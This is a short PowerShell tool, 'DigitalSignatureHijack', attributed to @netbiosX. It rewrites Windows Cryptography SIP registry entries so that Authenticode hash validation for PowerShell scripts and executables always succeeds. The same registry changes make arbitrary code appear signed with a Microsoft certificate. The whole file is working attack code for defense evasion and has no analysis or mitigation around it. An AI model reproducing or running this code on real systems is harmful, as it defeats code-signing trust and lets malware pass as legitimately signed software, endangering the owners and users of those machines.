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Hijack Digital Signatures and Bypass Authenticode Hash Validation
<#
DigitalSignatureHijack v1.0
License: GPLv3
Author: @netbiosX
#>
# Validate Digital Signature for PowerShell Scripts
function ValidateSignaturePS
{
$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
# PowerShell SIP Guid
$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'
$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc\$PSIPGuid\"
$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'
$NewFuncName = 'AutoApproveHash'
$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll
$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Validate Digital Signature for Portable Executables
function ValidateSignaturePE
{
$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
# PE SIP Guid
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PESignatureValidation = Get-Item -Path "$ValidateHashFunc\$PESIPGuid\"
$NewDll = 'C:\Windows\System32\ntdll.dll'
$NewFuncName = 'DbgUiContinue'
$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll
$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Sign PowerShell Scripts with a Microsoft Certificate
function SignPS
{
$GetCertFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg'
# PowerShell SIP Guid
$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'
$PEGetMSCert = Get-Item -Path "$GetCertFunc\$PSIPGuid\"
$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'
$NewFuncName = 'GetLegitMSSignature'
$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll
$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Sign Portable Executables with a Microsoft Certificate
function SignExe
{
$GetCertFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg'
# PE SIP Guid
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PEGetMSCert = Get-Item -Path "$GetCertFunc\$PESIPGuid\"
$NewDll = 'C:\Users\User\Desktop\Signature Signing\Binaries\MySIP.dll'
$NewFuncName = 'GetLegitMSSignature'
$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll
$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
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